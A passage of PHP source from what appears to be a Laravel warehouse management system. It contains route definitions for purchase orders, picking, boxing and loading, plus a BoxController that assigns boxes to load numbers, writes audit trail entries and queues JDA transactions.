Route::get('load/printpacklist/update/{loadCode}', 'LoadController@updatePrintPackingList');
Route::get('load/printloadingsheet/{loadCode}', 'LoadController@printLoadingSheet');
Route::get('load/printloadingsheetstock/{loadCode}', 'LoadController@printLoadingSheetstock');
Route::get('purchase_order/unlisted', 'PurchaseorderController@exportDetailsCSV');
Route::get('unlisted/export', 'UnlistedController@exportCSV');
Route::get('expiry_items', 'ExpiryItemsController@showIndex');
Route::get('expiry_items/export', 'ExpiryItemsController@exportCSV');
});
Route::group(array('prefix'=>'api/v1'), function()
{
Route::post('oauth/access_token', function()
{
// return AuthorizationServer::performAccessTokenFlow();
return Response::json(Authorizer::issueAccessToken());
});
});
//Route::group(array('prefix'=>'api/v1', 'before'=>'oauth|auth.piler'), function()
Route::group(array('prefix'=>'api'), function()
{
Route::get('RPoList/{piler_id}','ApiPurchaseOrder@RPolist');
Route::get('RPoListDetailUpdate/{receiver_no}/{division}/{upc}/{quantity_delivered}','ApiPurchaseOrder@RPoListDetailUpdate');
Route::get('RPoListDetail/{receiver_no}/{division_id}','ApiPurchaseOrder@RPolistDetail');
Route::get('RPoUpdatestatus/{receiver_no}/{division_id}','ApiPurchaseOrder@UpdateApiRPoSlot');
Route::get('RPoListDetailUpdate/{receiver_no}/{division}/{upc}/{rqty}','ApiPurchaseOrder@RPoListDetailUpdate');
Route::get('products', 'ApiProductList@index');
Route::get('products/upc_exist', 'ApiProductList@checkUpc');
//purchase order apis
Route::get('purchase_order/{piler_id}', 'ApiPurchaseOrder@index');
Route::post('purchase_order/{po_order_no}', 'ApiPurchaseOrder@savedReceivedPO');
Route::get('purchase_order/details/{receiver_no}', 'ApiPurchaseOrder@getDetails');
Route::post('purchase_order/change_status/{po_order_no}', 'ApiPurchaseOrder@updateStatus');
Route::post('purchase_order/not_in_po/{po_order_no}', 'ApiPurchaseOrder@notInPo');
Route::post('purchase_order/unlisted/{po_order_no}', 'ApiPurchaseOrder@unlisted');
//reserved zone
Route::get('upc', 'ApiReserveZone@index');
Route::post('upc/reserve_zone/{slot_id}', 'ApiReserveZone@putToReserve');
//slot master
Route::get('slots/list', 'ApiSlotMasterList@index');
//letdown api
Route::get('letdown/list', 'ApiLetdown@getLetDownLists');
Route::get('letdown/list/detail/{sku}', 'ApiLetdown@getLetdownDetail');
Route::post('letdown/detail', 'ApiLetdown@postLetdownDetail');
//picklist
Route::get('picking/list', 'ApiPicklist@getPickingLists');
Route::get('picking/detail/{sku_or_store}', 'ApiPicklist@getPickingDetail');
Route::post('picking/detail', 'ApiBox@postToPicklistToBox');
Route::post('picking/done/{sku_or_store}', 'ApiPicklist@postDone');
//boxing
Route::get('boxes/{store_code}', 'ApiBox@getBoxesByStore');
Route::post('boxes/create', 'ApiBox@postCreateBox');
Route::post('boxes/load', 'ApiLoads@loadBoxes');
Route::get('boxes', 'ApiBox@getAllBoxes');
//load
Route::post('loads/create', 'ApiLoads@generateLoadCode');
Route::get('loads/list', 'ApiLoads@getList');
//get status types
Route::get('status/values', 'HomeController@getStatusValues');
//department
Route::get('department/brands', 'ApiDepartment@getBrands');
Route::get('department/divisions', 'ApiDepartment@getDivisions');
//audit trail
Route::post('audittrail/insert', 'ApiAuditTrail@insertRecord');
//slots
Route::get('slot/is_exist', 'ApiSlots@getIsSlotExist');
//store return
Route::get('store_return/list', 'ApiStoreReturn@getStoreReturnList');
Route::get('store_return/details/{soNo}', 'ApiStoreReturn@getStoreReturnDetail');
Route::post('store_return/save', 'ApiStoreReturn@postSaveDetail');
Route::post('store_return/change_status/{soNo}', 'ApiStoreReturn@updateStatus');
Route::post('store_return/not_in_transfer/{soNo}', 'ApiStoreReturn@notInTransfer');
Route::post('inter_transfer/add', 'ApiInterTransfer@insertRecord');
//manual move
Route::get('manual_move/get_info', 'ApiManualMove@getInfo');
Route::post('manual_move/save', 'ApiManualMove@insertRecord');
});
Route::group(array('prefix'=>'api/v1', 'before'=>'oauth'), function()
{
//store order api
Route::get('store_order/loads/{store_code}', 'ApiStoreOrder@getLoads');
Route::get('store_order/product/list/{store_code}', 'ApiStoreOrder@getProductList');
Route::post('store_order/receive', 'ApiStoreOrder@postReceive');
Route::post('store_order/close', 'ApiStoreOrder@closeStoreOrders');
});
Route::group(array('prefix'=>'api/v2', 'before'=>'oauth|auth.piler'), function()
{
Route::get('letdown/list', 'ApiLetdown@getLetDownListsv2');
Route::get('letdown/details/{move_doc_number}', 'ApiLetdown@getLetdownDetailv2');
Route::post('letdown/save', 'ApiLetdown@postLetdownDetailv2');
Route::get('picking/list', 'ApiPicklist@getPickingListsv2');
Route::get('picking/details/{move_doc_number}', 'ApiPicklist@getPickingDetailv2');
Route::post('picking/save', 'ApiPicklist@postPickingDetailv2');
Route::post('picking/change_status/{docNo}', 'ApiPicklist@updateStatus');
Route::get('boxes/{store_code}/{userid}', 'ApiBox@getBoxesByStoreUserId'); // with username
Route::post('boxes/createbyuserid', 'ApiBox@postCreateBoxByUserId'); // with username
});
<file_sep>
<?php
class BoxController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
private $user;
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
$this->user = User::find(Auth::user()->id);
date_default_timezone_set('Asia/Manila');
}
public function index()
{
if (Session::has('permissions')) {
if (!in_array('CanAccessBoxingLoading', unserialize(Session::get('permissions')))){
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getList1();
}
//return Redirect::to('load/loadnumber' . $this->setURL())->with('message', Lang::get('loads.text_success_assign'));
public function loadnumber()
{
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['url_detail'] = URL::to('loads/load_details' . $this->setURL(true));
$this->data['url_lock_tags'] = URL::to('picking/locktags');
$this->data['url_boxnumber'] = URL::to('load/boxnumber'.$this->setURL(true));
$this->data['url_assingload'] = URL::to('load/assingload'.$this->setURL(true));
$this->data['url_loadnumber'] = URL::to('load/loadnumber'.$this->setURL(true));
$this->data['url_export'] = URL::to('picking/export'. $this->setURL(true));
$this->data['url_change_to_store'] = URL::to('picking/change_to_store');
$this->data['url_generate_load_code'] = URL::to('picking/new/load');
$this->data['url_assign'] = URL::to('picking/assign'). $this->setURL();
$this->data['url_back'] = URL::to('load/shipping'. $this->setURL(true));
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
$this->data['url_assigned'] = URL::to('load/assignTL');
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
// $this->data['url_load'] = URL::to('picking/load');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_box_code = Input::get('filter_box_code', null);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$filter_action_date = Input::get('filter_action_date', NULL);
$loadnumber = Input::get('loadnumber', null);
$pilername = Input::get('pilername', Null);
$created_at = Input::get('created_at', Null);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_box_code' => $filter_box_code,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Box::getLoadNumber( $arrParams)->toArray();
$results_total = Box::getLoadNumber( $arrParams, TRUE);
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_box_code' => $filter_box_code,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order
);
$this->data['picklist'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['picklist']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_box_code'] = $filter_box_code;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_action_date'] = $filter_action_date;
$this->data['loadnumber'] =$loadnumber;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['pilername'] = $pilername;
$this->data['loadnumber'] = $loadnumber;
$this->data['created_at'] =$created_at;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_action_date=' . $filter_action_date;
$url .= '&page=' . $page;
$order_doc_no = ($sort=='doc_no' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_doc_no'] = URL::to('picking/list' . $url . '&sort=doc_no&order=' . $order_doc_no, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('loads.loadnumber', $this->data);
}
public function getlist1()
{
$arrPO = explode(',', Input::get("tlnumber"));
$loadnumber = Input::get('loadnumber', null);
$tlnumber = Input::get('tlnumber', null);
foreach ($arrPO as $assignTL) {
Picklist::assignToTL($assignTL, $loadnumber);
Picklist::assignToTLnumber($assignTL, $loadnumber);
}
return Redirect::to('load/shipping'. $this->setURL())->with('message', "Succefully Assigned in Load Number!");
}
public function getlist12()
{
$arrPO = explode(',', Input::get("tlnumber"));
$loadnumber = Input::get('loadnumber', null);
$tlnumber = Input::get('tlnumber', null);
foreach ($arrPO as $assignTL) {
Box::assignToTL($assignTL, $loadnumber);
Box::assignToTLnumberbox($assignTL, $loadnumber);
// AuditTrail
$data_before = '';
$data_after = 'Box number : ' . $tlnumber .', Pell number : '. $loadnumber; // ', assign by : ' . Auth::user()->username;
$arrParams = array(
'module' => Config::get('audit_trail_modules.loading/shipping'),
'action' => Config::get('audit_trail.assign_box'),
'reference' => 'Box number : '. $tlnumber. ', ',
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
return Redirect::to('load/shipping'. $this->setURL())->with('message', "Succefully Assigned in Pell number!");
}
public function getremoved()
{
$arrPO = explode(',', Input::get("tlnumber"));
$loadnumber = Input::get('loadnumber', null);
$tlnumber = Input::get('tlnumber', null);
foreach ($arrPO as $assignTL) {
Box::getremovedTLUpdate($assignTL, $loadnumber);
Box::getremovedTL($assignTL, $loadnumber);
$data_before = '';
$data_after = 'Box number : ' . $tlnumber .', Pell number : '. $loadnumber; // ', assign by : ' . Auth::user()->username;
$arrParams = array(
'module' => Config::get('audit_trail_modules.loading/shipping'),
'action' => Config::get('audit_trail.assign_remove'),
'reference' => 'Remove Box number : '. $tlnumber. ', ',
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
}
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('load/shipping'. $this->setURL())->with('message', "Succefully Remove Box Number!");
}
public function loadnumbersync()
{
Load::getLoadNumbersync();
return Redirect::to('load/shipping'.$this->setURL())->with('message','Sync To Mobile Successfully');
}
public function getloadnumbersyncstock()
{
Load::getLoadNumbersyncstockmodel();
return Redirect::to('stocktransfer/stocktranferload'.$this->setURL())->with('message','Sync To Mobile Successfully');
}
public function shippedload()
{
$boxcode = Input::get('boxcode', null);
$upc = Input::get('upc', null);
$loadnumber =Input::get('loadnumber',null);
Load::getLoadShipped($loadnumber);
//load::getInsertToSelectStrHdr($loadnumber);
//load::getSOboxstatus($loadnumber);
return Redirect::to('load/shipping'.$this->setURL())->with('message','Successfully Shipped by Pell number!!');
}
public function shippedloadstock()
{
$boxcode = Input::get('boxcode', null);
$upc = Input::get('upc', null);
$loadnumber =Input::get('loadnumber',null);
Load::getLoadShipped($loadnumber);
//load::getInsertToSelect($loadnumber);
//load::getSOboxstatus($loadnumber);
return Redirect::to('stocktransfer/stocktranferload'.$this->setURL())->with('message','Successfully Shipped by Pell number!!');
}
public function getList2()
{
$this->data = Lang::get('loads');
/*$this->data['heading_title'] = Lang::get('box.heading_title');
$this->data['entry_load'] = Lang::get('box.entry_load');
$this->data['entry_load_create'] = Lang::get('box.entry_load_create');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_confirm_delete'] = Lang::get('box.text_confirm_delete');
$this->data['text_confirm_delete_single'] = Lang::get('box.text_confirm_delete_single');
$this->data['text_confirm_load'] = Lang::get('box.text_confirm_load');
$this->data['text_confirm_assign'] = Lang::get('box.text_confirm_assign');
$this->data['url_detail'] = URL::to('load/loadnumber' . $this->setURL(true));
$this->data['button_create_box'] = Lang::get('box.button_create_box');
$this->data['button_export_box'] = Lang::get('box.button_export_box');
$this->data['button_delete_box'] = Lang::get('box.button_delete_box');
$this->data['button_load'] = Lang::get('box.button_load');
$this->data['button_add_store'] = Lang::get('box.button_add_store');
$this->data['button_assign_to_user'] = Lang::get('box.button_assign_to_user');
$this->data['label_store'] = Lang::get('box.label_store');
$this->data['label_box_code'] = Lang::get('box.label_box_code');
$this->data['label_load_code'] = Lang::get('box.label_load_code');
$this->data['label_assign_to'] = Lang::get('box.label_assign_to');
// $this->data['label_doc_no'] = Lang::get('box.label_doc_no');
$this->data['col_id'] = Lang::get('box.col_id');
$this->data['col_store'] = Lang::get('box.col_store');
$this->data['col_box_code'] = Lang::get('box.col_box_code');
$this->data['col_box_assign'] = Lang::get('box.col_box_assign');
$this->data['col_date_created'] = Lang::get('box.col_date_created');
$this->data['col_action'] = Lang::get('box.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['error_delete'] = Lang::get('box.error_delete');
$this->data['error_load'] = Lang::get('box.error_load');
$this->data['error_load_no_load_code'] = Lang::get('box.error_load_no_load_code');*/
$this->data['load_codes'] = $this->getLoadCodes();
$this->data['url_assign'] = URL::to('box/assign'). $this->setURL();
$this->data['url_loadnumber'] = URL::to('load/loadnumber');
// Message
$this->data['error'] = '';
if (Session::has('error')) $this->data['error'] = Session::get('error');
$this->data['success'] = '';
if (Session::has('success')) $this->data['success'] = Session::get('success');
$this->data['stock_piler_list'] = $this->getStockPilers();
$load_code = Input::get('load_code', NULL);
$this->data['Contentbox'] = BoxDetails::getboxcontent($load_code);
$filter_store = Input::get('filter_store', NULL);
$filter_box_code = Input::get('filter_box_code', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filer = Input::get('filer', null);
$date_at = Input::get('date_at', null);
$is_shipped = Input::get('is_shipped', null);
$sort = Input::get('sort', 'box_code');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//pulling data to other page
$tlnumber = Input::get('tlnumber', null);
$storename = Input::get('storename', null);
$arrParams = array(
'load_code' => $load_code,
'filter_store' => $filter_store,
'filter_box_code' => $filter_box_code,
'filter_stock_piler' => $filter_stock_piler,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Box::getBoxesWithFilters($arrParams)->toArray();
// echo '<pre>';
// print_r($results);
$results_total = Box::getBoxesCount($arrParams, true);
$this->data['arrFilters'] = array(
'filter_store' => $filter_store,
'filter_box_code' => $filter_box_code,
'filter_stock_piler' => $filter_stock_piler,
'sort' => $sort,
'order' => $order,
'filer' => $filer,
'date_at' => $date_at,
'is_shipped' => $is_shipped
);
$this->data['BigBoxes'] = Paginator::make($results, $results_total, 30);
$this->data['boxes_count'] = $results_total;
$this->data['counter'] = $this->data['BigBoxes']->getFrom();
$this->data['arrParams'] = $arrParams;
$this->data['filter_store'] = $filter_store;
$this->data['filter_box_code'] = $filter_box_code;
//data pnapasahan ng data sa kabila page
$this->data['tlnumber'] = $tlnumber;
$this->data['storename'] = $storename;
$this->data['filer'] = $filer;
$this->data['date_at'] = $date_at;
$this->data['is_shipped'] = $is_shipped;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['url_add_box'] = URL::to('box/create' . $this->setURL());
$this->data['url_update_box'] = URL::to('box/update' . $this->setURL());
$this->data['url_delete_box'] = URL::to('box/delete' . $this->setURL());
$this->data['url_export_box'] = URL::to('box/export' . $this->setURL());
$this->data['url_detail'] = URL::to('box/detail' . $this->setURL(TRUE));
$this->data['url_load'] = URL::to('box/load');
$this->data['url_generate_load_code'] = URL::to('box/new/load');
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_box_code=' . $filter_box_code . '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&page=' . $page;
$order_box_code = ($sort=='box_code' && $order=='ASC') ? 'DESC' : 'ASC';
$order_date_created = ($sort=='date_created' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_box_code'] = URL::to('load/load_details' . $url . '&sort=box_code&order=' . $order_box_code, NULL, FALSE);
$this->data['sort_date_created'] = URL::to('load/load_details' . $url . '&sort=date_created&order=' . $order_date_created, NULL, FALSE);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('loads.load_details', $this->data);
/////////////////////////////////////////////
////////////////////////////////
}
/**
public function getListBox($id) {
$query = Box::getDetailsBox($id);
$this->layout->content = View::make('loads.box_list_details', $query);
$this->data['arrFilters'] = array(
'filter_store' => $filter_store,
'filter_box_code' => $filter_box_code,
// 'filter_stock_piler' => $filter_stock_piler,
'sort' => $sort,
'order' => $order
);
$this->data['filter_store'] = $filter_store;
$this->data['filter_box_code'] = $filter_box_code;
} **/
public function boxnumber() {
// Check Permissions
$this->data = Lang::get('box');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
// URL
$this->data['url_export'] = URL::to('box/export_detail');
$this->data['url_back'] = URL::to('box/list' . $this->setURL(false,true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$box_code = Input::get('box_code', NULL);
$this->data['Contentbox'] = Box::getboxcontent($box_code);
// Search Filters
$filter_sku = Input::get('filter_sku', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_movedoc = Input::get('filter_movedoc', Null);
$filter_box_code = Input::get('filter_box_code', NULL);
$sort_back = Input::get('sort_back', 'sku');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$movedoc = Input::get('movedoc',null);
$movedoc = Input::get('filter_movedoc', null);
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$box_id = Input::get('id', NULL);
// $this->data['letdown_info'] = Letdown::getLetDownInfo($letdown_id);
$box_code = Input::get('box_code', NULL);
$arrParams = array(
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'filter_sku' => $filter_sku,
'filter_store' => $filter_store,
'filter_box_code' => $filter_box_code,
'limit' => 30
);
// dd($box_code);
$results = BoxDetails::getboxnumber($movedoc, $arrParams);
DebugHelper::log(__METHOD__, $results);
$results_total = BoxDetails::getboxnumber( $movedoc, $arrParams, true);
$this->data['total_moved_qty'] = BoxDetails::getTotalMovedQty($box_code, $arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_store' => $filter_store,
'filter_box_code' => $filter_box_code,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'filter_sku' => $filter_sku,
// 'filter_slot' => $filter_slot,
'sort' => $sort_detail,
'order' => $order_detail,
'box_code' => $box_code,
'id' => $box_id
);
$this->data['boxesYong'] = Paginator::make($results, $results_total, 30);
$this->data['boxes_count'] = $results_total;
$this->data['counter'] = $this->data['boxesYong']->getFrom();
$this->data['box_id'] = $box_id;
$this->data['box_code'] = $box_code;
// Main
//$this->data['load_code'] = $load_code;
$this->data['filter_movedoc']=$filter_movedoc;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_store'] = $filter_store;
$this->data['filter_box_code'] = $filter_box_code;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
// Details
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$url = '?filter_sku=' . $filter_sku . '&filter_store=' . $filter_store . '&filter_box_code='. $filter_box_code;
$url .= '&page_back=' . $page_back . '&sort_back=' . $sort_back . '&order_back=' . $order_back .'&id=' . $box_id . '&box_code= '.$box_code ;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_description = ($sort_detail=='short_description' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_moved_qty = ($sort_detail=='moved_qty' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = URL::to('box/detail' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_short_description'] = URL::to('box/detail' . $url . '&sort=short_description&order=' . $order_short_description, NULL, FALSE);
$this->data['sort_moved_qty'] = URL::to('box/detail' . $url . '&sort=moved_qty&order=' . $order_moved_qty, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->data['url_detail'] = URL::to('box/detail');
$this->layout->content = View::make('loads.boxnumber', $this->data);
}
public function getBoxDetails() {
// Check Permissions
$this->data = Lang::get('box');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
// URL
$this->data['url_export'] = URL::to('box/export_detail');
$this->data['url_back'] = URL::to('load/shipping' . $this->setURL(true));
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$box_code = Input::get('box_code', NULL);
$this->data['Contentbox'] = Box::getboxcontent($box_code);
// Search Filters
$filter_sku = Input::get('filter_sku', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_box_code = Input::get('filter_box_code', null);
$load_code = Input::get('load_code', null);
$filter_load_code = Input::get('filter_load_code', NULL);
$sort_back = Input::get('sort_back' );
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort' );
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$box_id = Input::get('id', NULL);
// $this->data['letdown_info'] = Letdown::getLetDownInfo($letdown_id);
$box_code = Input::get('box_code', NULL);
$loadnumber = Input::get('loadnumber', null);
$pilername = Input::get('pilername', null);
$filter_data_value =Input::get('filter_data_value', null);
$arrParams = array(
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'filter_box_code' => $filter_box_code,
'filter_data_value' => $filter_data_value,
'filter_sku' => $filter_sku,
'filter_store' => $filter_store,
'filter_doc_no' => $filter_doc_no,
'filter_load_code' => $filter_load_code,
'limit' => 30
);
$results = Load::getLoadList2($loadnumber, $arrParams);
// DebugHelper::log(__METHOD__, $results);
$results_total = Load::getLoadList2($loadnumber, $arrParams, true);
$this->data['total_moved_qty'] = BoxDetails::getTotalMovedQty($box_code, $arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_store' => $filter_store,
'filter_load_code' => $filter_load_code,
'filter_doc_no' => $filter_doc_no,
'filter_data_value' => $filter_data_value,
'filter_box_code' => $filter_box_code,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'filter_sku' => $filter_sku,
// 'filter_slot' => $filter_slot,
'sort' => $sort_detail,
'order' => $order_detail,
'id' => $box_id
);
$this->data['boxesdetails'] = Paginator::make($results, $results_total, 30);
$this->data['boxes_count'] = $results_total;
$this->data['counter'] = $this->data['boxesdetails']->getFrom();
$this->data['box_id'] = $box_id;
$this->data['box_code'] = $box_code;
// Main
//$this->data['load_code'] = $load_code;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_store'] = $filter_store;
$this->data['filter_load_code'] = $filter_load_code;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_box_code'] = $filter_box_code;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$this->data['loadnumber'] = $loadnumber;
$this->data['pilername'] = $pilername;
$this->data['filter_data_value'] =$filter_data_value;
$this->data['box_code'] =$box_code;
// Details
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$url = '?filter_sku=' . $filter_sku . '&filter_store=' . $filter_store;
$url .= '&page_back=' . $page_back . '&sort_back=' . $sort_back . '&order_back=' . $order_back .'&id=' . $box_id ;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_description = ($sort_detail=='short_description' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_moved_qty = ($sort_detail=='moved_qty' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = URL::to('box/detail' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_short_description'] = URL::to('box/detail' . $url . '&sort=short_description&order=' . $order_short_description, NULL, FALSE);
$this->data['sort_moved_qty'] = URL::to('box/detail' . $url . '&sort=moved_qty&order=' . $order_moved_qty, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->data['url_detail'] = URL::to('box/detail');
$this->layout->content = View::make('loads.boxdetails', $this->data);
}
public function loadBoxes()
{
try {
$data = Input::all();
if(!isset($data['box_lists'])) throw new Exception("Box empty.");
$boxLists = explode(',', $data['box_lists']);
$loadCode = $data['load_codes'];
DB::beginTransaction();
foreach ($boxLists as $boxCode)
{
//get boxes info
$boxInfo = Box::getBoxList($boxCode);
if(empty($boxInfo)) throw new Exception("Box code does not exist");
$soNos = array_unique(explode(',', $boxInfo['so_no'])); //remove duplicate so_no
StoreOrder::updateLoadCode($soNos, $loadCode);
$pallete = Pallet::getOrCreatePallete($boxInfo['store_code'], $loadCode);
PalletDetails::create(array(
'box_code' => $boxCode, //$boxInfo['box_code'],
'pallet_code' => $pallete['pallet_code']
));
$useBox = Box::updateBox(array(
"box_code" => $boxInfo['box_code'],
"store" => $boxInfo['store_code'],
"in_use" => Config::get('box_statuses.in_use')
));
}
self::loadBoxesAuditTrail($boxLists, $loadCode);
DB::commit();
return Redirect::to('box/list'. $this->setURL())->with('message', Lang::get('box.text_success_load'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('box/list'. $this->setURL())->withErrors(Lang::get('box.text_fail_load'));
}
}
protected function createJdaTransaction($data)
{
$picklistParams = array(
'module' => Config::get('transactions.module_picklist'),
'jda_action' => Config::get('transactions.jda_action_picklist'),
'reference' => $data['move_doc_number']
);
//create jda transaction for picklist closing
JdaTransaction::insert($picklistParams);
Log::info(__METHOD__ .' dump: '.print_r($data['move_doc_number'],true));
$getUniqueBox = BoxDetails::getUniqueBoxPerDocNo($data['move_doc_number']);
Log::info(__METHOD__ .' dump: '.print_r($getUniqueBox,true));
$boxParams = array(
'module' => Config::get('transactions.module_box'),
'jda_action' => Config::get('transactions.jda_action_box'),
'reference' => $getUniqueBox['box_code']
);
//create jda transaction for box header
$boxResp = JdaTransaction::insert($boxParams);
if(is_array($getUniqueBox)) {
$getPallet = PalletDetails::getPallet($getUniqueBox['box_code']);
$palletParams = array(
'module' => Config::get('transactions.module_pallet'),
'jda_action' => Config::get('transactions.jda_action_pallet'),
'reference' => $getPallet['pallet_code']
);
//create jda transaction for pallet header
$palletResp = JdaTransaction::insert($palletParams);
}
$getLoad = LoadDetails::getLoad($getPallet['pallet_code']);
$loadParams = array(
'module' => Config::get('transactions.module_load'),
'jda_action' => Config::get('transactions.jda_action_load'),
'reference' => $getLoad['load_code']
);
//create jda transaction for load header
$loadResp = JdaTransaction::insert($loadParams);
$palletizeBoxParams = array(
'module' => Config::get('transactions.module_palletize_box'),
'jda_action' => Config::get('transactions.jda_action_palletize_box'),
'reference' => $getPallet['pallet_code']
);
